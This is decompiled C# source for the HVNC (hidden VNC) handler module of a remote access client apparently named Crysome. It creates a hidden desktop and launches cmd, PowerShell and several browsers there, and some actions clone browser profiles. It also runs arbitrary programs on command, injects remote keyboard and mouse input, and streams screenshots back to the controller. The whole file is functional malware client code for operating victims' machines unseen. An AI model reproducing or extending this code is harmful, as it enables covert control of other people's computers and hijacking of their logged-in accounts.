using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using Crysome.Client.Hvnc;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class HvncHandlers
{
	private const string DesktopName = "CrysomeHvncDesktop";

	private static volatile bool _running;

	private static Thread _captureThread;

	private static Thread _sendThread;

	private static CrysomeClient _client;

	private static HvncImagingHandler _imaging;

	private static HvncInputHandler _input;

	private static HvncProcessHandler _process;

	private static int _quality;

	private static int _intervalMs;

	private static readonly object _lock;

	private static readonly BlockingCollection<Action> _hvncInputQueue;

	private static readonly Thread _hvncInputPump;

	private static volatile byte[] _pendingFrame;

	private static readonly SemaphoreSlim _frameSem;

	static HvncHandlers()
	{
		_quality = 80;
		_intervalMs = 50;
		_lock = new object();
		_hvncInputQueue = new BlockingCollection<Action>();
		_frameSem = new SemaphoreSlim(0, 1);
		_hvncInputPump = new Thread((ThreadStart)delegate
		{
			foreach (Action item in _hvncInputQueue.GetConsumingEnumerable())
			{
				try
				{
					item?.Invoke();
				}
				catch (Exception ex)
				{
					Program.Log("HVNC input: " + ex.Message);
				}
			}
		})
		{
			IsBackground = true,
			Name = "HvncInputPump"
		};
		_hvncInputPump.Start();
	}

	public static void HandleStartHvnc(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		StartHvncPacket val = (StartHvncPacket)packet;
		lock (_lock)
		{
			if (!_running)
			{
				_quality = Math.Max(10, Math.Min(100, val.Quality));
				_intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs));
				_client = client;
				try
				{
					_imaging = new HvncImagingHandler("CrysomeHvncDesktop");
					_input = new HvncInputHandler("CrysomeHvncDesktop");
					_process = new HvncProcessHandler("CrysomeHvncDesktop");
					_process.StartExplorer();
					Thread.Sleep(500);
				}
				catch (Exception ex)
				{
					Program.Log("HVNC init: " + ex.Message);
					DisposeHandlers();
					return;
				}
				_running = true;
				_pendingFrame = null;
				_sendThread = new Thread(SendLoop)
				{
					IsBackground = true,
					Name = "HvncSend"
				};
				_sendThread.Start();
				_captureThread = new Thread(CaptureLoop)
				{
					IsBackground = true,
					Name = "HvncCapture"
				};
				_captureThread.Start();
			}
		}
	}

	public static void HandleStopHvnc(CrysomeClient client, IPacket packet)
	{
		lock (_lock)
		{
			_running = false;
			try
			{
				_frameSem.Release();
			}
			catch
			{
			}
			_captureThread?.Join(3000);
			_sendThread?.Join(2000);
			DisposeHandlers();
		}
	}

	public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		HvncRunRequestPacket val = (HvncRunRequestPacket)packet;
		if (!_running || _process == null)
		{
			return;
		}
		try
		{
			switch (val.Action)
			{
			case 0:
				_process.StartExplorer();
				break;
			case 1:
				_process.StartRunDialog();
				break;
			case 2:
				_process.StartCmd();
				break;
			case 3:
				_process.StartPowerShell();
				break;
			case 4:
				_process.StartChrome();
				break;
			case 5:
				_process.StartEdge();
				break;
			case 6:
				_process.StartFirefox();
				break;
			case 7:
				_process.StartOpera();
				break;
			case 8:
				_process.StartOperaGX();
				break;
			case 9:
				_process.StartBrave();
				break;
			case 17:
				_process.StartNotepad();
				break;
			case 18:
				_process.StartCalculator();
				break;
			case 11:
			case 12:
			case 13:
			case 14:
			case 15:
			case 16:
				_process.HandleCloneRequest(val.Action);
				break;
			case 19:
				_process.StartDiscord();
				break;
			case 10:
				if (!string.IsNullOrEmpty(val.Path))
				{
					_process.CreateProc(val.Path);
				}
				break;
			}
		}
		catch (Exception ex)
		{
			Program.Log("HVNC run: " + ex.Message);
		}
	}

	public static void HandleHvncInput(CrysomeClient client, IPacket packet)
	{
		//IL_0007: Unknown result type (might be due to invalid IL or missing references)
		//IL_000d: Expected O, but got Unknown
		HvncInputPacket val = (HvncInputPacket)packet;
		if (_running && _input != null)
		{
			uint msg = (uint)val.Msg;
			IntPtr wParam = new IntPtr(val.WParam);
			IntPtr lParam = new IntPtr(val.LParam);
			_hvncInputQueue.Add(delegate
			{
				_input.Input(msg, wParam, lParam);
			});
		}
	}

	private static void DisposeHandlers()
	{
		try
		{
			_imaging?.Dispose();
			_imaging = null;
			_input?.Dispose();
			_input = null;
			_process = null;
		}
		catch
		{
		}
	}

	private static void SendLoop()
	{
		while (_running)
		{
			try
			{
				_frameSem.Wait(100);
				if (!_running)
				{
					break;
				}
				byte[] array = Interlocked.Exchange(ref _pendingFrame, null);
				if (array != null && array.Length != 0)
				{
					if (!_client.IsConnected)
					{
						break;
					}
					_client.SendHvncFrame(array);
				}
			}
			catch (Exception ex)
			{
				Program.Log("HVNC send: " + ex.Message);
				if (!_running)
				{
					break;
				}
			}
		}
	}

	private static void CaptureLoop()
	{
		ImageCodecInfo jpegCodec = GetJpegCodec();
		Stopwatch stopwatch = Stopwatch.StartNew();
		while (_running && _client != null && _imaging != null)
		{
			long elapsedMilliseconds = stopwatch.ElapsedMilliseconds;
			try
			{
				if (!_client.IsConnected)
				{
					break;
				}
				using Bitmap bitmap = _imaging.Screenshot();
				if (bitmap != null)
				{
					byte[] array = EncodeJpeg(bitmap, jpegCodec);
					if (array != null && array.Length != 0)
					{
						Interlocked.Exchange(ref _pendingFrame, array);
						try
						{
							_frameSem.Release();
						}
						catch (SemaphoreFullException)
						{
						}
					}
				}
			}
			catch (Exception ex2)
			{
				Program.Log("HVNC capture: " + ex2.Message);
			}
			long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
			int num2 = Math.Max(0, _intervalMs - (int)num);
			if (num2 > 0)
			{
				Thread.Sleep(num2);
			}
		}
	}

	private static ImageCodecInfo GetJpegCodec()
	{
		ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
		foreach (ImageCodecInfo imageCodecInfo in imageEncoders)
		{
			if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid)
			{
				return imageCodecInfo;
			}
		}
		return null;
	}

	private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec)
	{
		if (codec == null)
		{
			using (MemoryStream memoryStream = new MemoryStream())
			{
				bmp.Save(memoryStream, ImageFormat.Jpeg);
				return memoryStream.ToArray();
			}
		}
		using MemoryStream memoryStream2 = new MemoryStream();
		using (EncoderParameters encoderParameters = new EncoderParameters(1))
		{
			encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality);
			bmp.Save(memoryStream2, codec, encoderParameters);
		}
		return memoryStream2.ToArray();
	}
}
